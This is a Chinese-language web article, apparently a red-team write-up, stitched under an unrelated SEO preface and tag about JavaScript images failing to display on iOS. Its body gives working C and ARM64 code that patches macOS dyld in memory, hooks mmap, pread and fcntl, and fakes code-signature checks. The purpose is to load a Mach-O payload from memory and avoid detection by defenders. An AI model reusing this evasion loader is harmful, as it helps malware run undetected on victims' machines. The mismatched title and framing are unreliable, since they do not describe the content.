前言:
目前咱们对“js 动态添加img在ios不显示”大致比较关切,朋友们都需要知道一些“js 动态添加img在ios不显示”的相关知识。那么小编同时在网摘上汇集了一些对于“js 动态添加img在ios不显示””的相关资讯,希望兄弟们能喜欢,朋友们一起来学习一下吧!之前我们一直在使用由dyld及其NSCreateObjectFileImageFromMemory/NSLinkModule API方法所提供的Mach-O捆绑包的内存加载方式。虽然这些方法我们今天仍然还在使用,但是这个工具较以往有一个很大的区别......现在很多模块都被持久化到了硬盘上。
@roguesys 在 2022 年 2 月发布公告称,dyld 的代码已经被更新,传递给 NSLinkModule 的任何模块都将会被写入到一个临时的位置中。
作为一个红队队员,这对于我们的渗透工作并没有好处。毕竟,NSLinkModule一个非常有用的api函数,这个函数可以使得我们的有效载荷不被蓝队轻易的发现。
因此,在这篇文章中,我们来仔细看看dyld的变化,并看看我们能做些什么来恢复这一功能,让我们的工具在内存中多保存一段时间,防止被蓝队过早的发现。
NSLinkModule有何与众不同
由于dyld是开源的,我们可以深入研究一下经常使用的NSLinkModule方法的工作原理。
该函数的签名为:
NSModule APIs::NSLinkModule(NSObjectFileImage ofi, const char* moduleName, uint32_t options) { ... }
该函数的第一个参数是ofi,它是用NSCreateObjectFileImageFromMemory创建的,它指向了存放Mach-O包的内存。然后我们还有moduleName参数和options参数,前者只是用于记录语句,后者一般是被忽略不用的。
通过查看代码发现,最新版本的NSLinkModule,会将osi所指向的内存写入磁盘。
if ( ofi->memSource != nullptr ) { ... char tempFileName[PATH_MAX]; const char* tmpDir = this->libSystemHelpers->getenv("TMPDIR"); if ( (tmpDir != nullptr) && (strlen(tmpDir) > 2) ) { strlcpy(tempFileName, tmpDir, PATH_MAX); if ( tmpDir[strlen(tmpDir) - 1] != '/' ) strlcat(tempFileName, "/", PATH_MAX); } else strlcpy(tempFileName, "/tmp/", PATH_MAX); strlcat(tempFileName, "NSCreateObjectFileImageFromMemory-XXXXXXXX", PATH_MAX); int fd = this->libSystemHelpers->mkstemp(tempFileName); if ( fd != -1 ) { ssize_t writtenSize = ::pwrite(fd, ofi->memSource, ofi->memLength, 0); } ...}
通过分析可以发现,代码并不是真正的发生了 "新 "的变化。这段代码一直存在于dyld3中,只不过是现在macOS也决定使用这段代码路径。所以我们知道内存会被写入磁盘,并且路径会被传递给dlopen_from。
...ofi->handle = dlopen_from(ofi->path, openMode, callerAddress);...
因此,从本质上讲,这也就使得NSLinkModule成为了dlopen的一个封装器。
那我们能否恢复dyld之前的内存加载特性呢?
我们知道磁盘 I/O 是被用来持久化和读取我们的代码的......那么,如果我们在调用之前拦截它们,会发生什么呢?
使用dyld进行hook
为了拦截 I/O 调用,我们首先需要了解如何对dyld进行hook。
我们研究看看dyld是如何处理mmap调用的。启动 Hopper 并加载 /usr/lib/dyld, 显示mmap 是由 dyld 使用 svc 调用的。
img
知道了这一点,如果我们找到内存中存放这段代码的位置,我们就应该能够覆盖服务调用并将其重定向到我们控制的地方。但我们该用什么来覆盖它呢?用下面的这段代码就可以。
ldr x8, _valuebr x8_value: .ascii "\x41\x42\x43\x44\x45\x46\x47\x48" ; Update to our br location
在我们进行操作之前,首先我们找到进程地址空间中dyld的基址。这是通过调用task_info完成的,我们可以传入TASK_DYLD_INFO来检索dyld的基址信息。
void *getDyldBase(void) { struct task_dyld_info dyld_info; mach_vm_address_t image_infos; struct dyld_all_image_infos *infos; mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT; kern_return_t ret; ret = task_info(mach_task_self_, TASK_DYLD_INFO, (task_info_t)&dyld_info, &count); if (ret != KERN_SUCCESS) { return NULL; } image_infos = dyld_info.all_image_info_addr; infos = (struct dyld_all_image_infos *)image_infos; return infos->dyldImageLoadAddress;}
只要我们有了dyld的基址,我们就可以为mmap服务的调用查找签名。
bool searchAndPatch(char *base, char *signature, int length, void *target) { char *patchAddr = NULL; kern_return_t kret; for(int i=0; i < 0x100000; i++) { if (base[i] == signature[0] && memcmp(base+i, signature, length) == 0) { patchAddr = base + i; break; } } ...
当我们找到一个匹配的签名时,我们可以在我们的ARM64的Stub中打补丁。由于我们要处理的是内存的 "Read-Exec"页,我们需要用以下方法来更新内存保护。
kret = vm_protect(mach_task_self(), (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_WRITE | VM_PROT_COPY);if (kret != KERN_SUCCESS) { return FALSE;}
注意这里的VM_PROT, 这个是必须要设定的,因为该内存页在其最大内存保护中没有设置写权限。
设置了写权限后,我们可以用我们的补丁覆盖内存,然后将保护重新设定为Read-Exec。
// Copy our pathmemcpy(patchAddr, patch, sizeof(patch));// Set the br address for our hook call*(void **)((char*)patchAddr + 16) = target;// Return exec permissionkret = vm_protect(mach_task_self(), (vm_address_t)patchAddr, sizeof(patch), false, PROT_READ | PROT_EXEC);if (kret != KERN_SUCCESS) { return FALSE;}
现在我们需要思考一下,当我们在试图修改可执行的内存页时,在M1 macs上会发生什么。
由于macOS要确保每一页可执行内存都有签名,这也就意味着我们需要一个com.apple.security.cs.allow-unsigned-executable-memory的权限(com.apple.security.cs.disable-executable-page-protection也适用)来运行我们的代码。
img
那么,既然如此,我们该如何处理我们的hook程序呢?
API模拟调用
有了所有组件的映射,我们现在就可以开始模拟API的调用。根据dyld的代码,我们需要对mmap、pread、fcntl的内容进行处理。
如果我们这样做是正确的,我们可以在内存指向空白Mach-O文件的情况下对NSLinkModule进行调用,而该文件又将会被写入磁盘。然后当dyld正在从磁盘上读入文件时,我们就可以用内存中的副本动态地交换内容。
首先研究mmap。我们首先检查fd是否指向一个包含NSCreateObjectFileImageFromMemory的文件名,这是dyld写入磁盘的临时文件。
如果是这样的话,我们就不需要从磁盘上映射内存了,只要简单地分配一个新的内存区域,然后复制到我们构造的Mach-O包上。
#define FILENAME_SEARCH "NSCreateObjectFileImageFromMemory-"const void* hookedMmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset) { char *alloc; char filePath[PATH_MAX]; int newFlags; memset(filePath, 0, sizeof(filePath)); // Check if the file is our "in-memory" file if (fcntl(fd, F_GETPATH, filePath) != -1) { if (strstr(filePath, FILENAME_SEARCH) > 0) { newFlags = MAP_PRIVATE | MAP_ANONYMOUS; if (addr != 0) { newFlags |= MAP_FIXED; } alloc = mmap(addr, len, PROT_READ | PROT_WRITE, newFlags, 0, 0); memcpy(alloc, memoryLoadedFile+offset, len); vm_protect(mach_task_self(), (vm_address_t)alloc, len, false, prot); return alloc; } } // If for another file, we pass through return mmap(addr, len, prot, flags, fd, offset);}
接下来是pread参数,它会被dyld在加载时用来多次验证Mach-O的UUID。
ssize_t hookedPread(int fd, void *buf, size_t nbyte, int offset) { char filePath[PATH_MAX]; memset(filePath, 0, sizeof(filePath)); // Check if the file is our "in-memory" file if (fcntl(fd, F_GETPATH, filePath) != -1) { if (strstr(filePath, FILENAME_SEARCH) > 0) { memcpy(buf, memoryLoadedFile+offset, nbyte); return nbyte; } } // If for another file, we pass through return pread(fd, buf, nbyte, offset);}
最后我们处理fcntl。它会在很多地方被调用,可以在任何可能会失败的mmap调用之前验证编码的要求。
img
由于我们已经完成了hook,我们可以使dyld正常运行来绕过这些检查。
int hookedFcntl(int fildes, int cmd, void* param) { char filePath[PATH_MAX]; memset(filePath, 0, sizeof(filePath)); // Check if the file is our "in-memory" file if (fcntl(fildes, F_GETPATH, filePath) != -1) { if (strstr(filePath, FILENAME_SEARCH) > 0) { if (cmd == F_ADDFILESIGS_RETURN) { fsignatures_t *fsig = (fsignatures_t*)param; // called to check that cert covers file.. so we'll make it cover everything ;) fsig->fs_file_start = 0xFFFFFFFF; return 0; } // Signature sanity check by dyld if (cmd == F_CHECK_LV) { // Just say everything is fine return 0; } } } return fcntl(fildes, cmd, param);}
有了以上这些,然后我们可以把这一切组合起来。
int main(int argc, const char * argv[], const char * argv2[], const char * argv3[]) { @autoreleasepool { char *dyldBase; int fd; int size; void (*function)(void); NSObjectFileImage fileImage; // Read in our dyld we want to memory load... obviously swap this in prod with memory, otherwise we've just recreated dlopen :/ size = readFile("/tmp/loadme", &memoryLoadedFile); dyldBase = getDyldBase(); searchAndPatch(dyldBase, mmapSig, sizeof(mmapSig), hookedMmap); searchAndPatch(dyldBase, preadSig, sizeof(preadSig), hookedPread); searchAndPatch(dyldBase, fcntlSig, sizeof(fcntlSig), hookedFcntl); // Set up blank content, same size as our Mach-O char *fakeImage = (char *)malloc(size); memset(fakeImage, 0x41, size); // Small hack to get around NSCreateObjectFileImageFromMemory validating our fake image fileImage = (NSObjectFileImage)malloc(1024); *(void **)(((char*)fileImage+0x8)) = fakeImage; *(void **)(((char*)fileImage+0x10)) = size; void *module = NSLinkModule(fileImage, "test", NSLINKMODULE_OPTION_PRIVATE); void *symbol = NSLookupSymbolInModule(module, "runme"); function = NSAddressOfSymbol(symbol); function(); }}
当我们执行时,可以看到在硬盘上就会创建我们的虚假文件。
img
但通过在运行时的交换内容来看,我们发现我们的内存模块加载完全正常。
img
其他
所以,最后一个阶段让我感到很困惑......我们使用了NSLinkModule,它生成了一个临时文件,并且用垃圾字符对它进行了填充。如果我们忽略这一点,而只是使用操作系统中的任意一个库来调用dlopen呢?这样应该就可以避免我们向磁盘中写入任何文件。
事实证明,这个想法是正确的。比如:
void *a = dlopen("/usr/lib/libffi-trampolines.dylib", RTLD_NOW);function = dlsym(a, "runme");function();
而不是只是搜索NSCreateObjectFileImageFromMemory,我们只是在搜索任何加载libffi-trampolines.dylib的引用,并通过我们的代码进行了替换,我们得到了同样的结果。
img
这里有一些注意事项。首先,我们需要确保库比我们自己要加载的模块大,否则当涉及到pread和mmap时,系统最终会截断我们的Mach-O。
标签: #js 动态添加img在ios不显示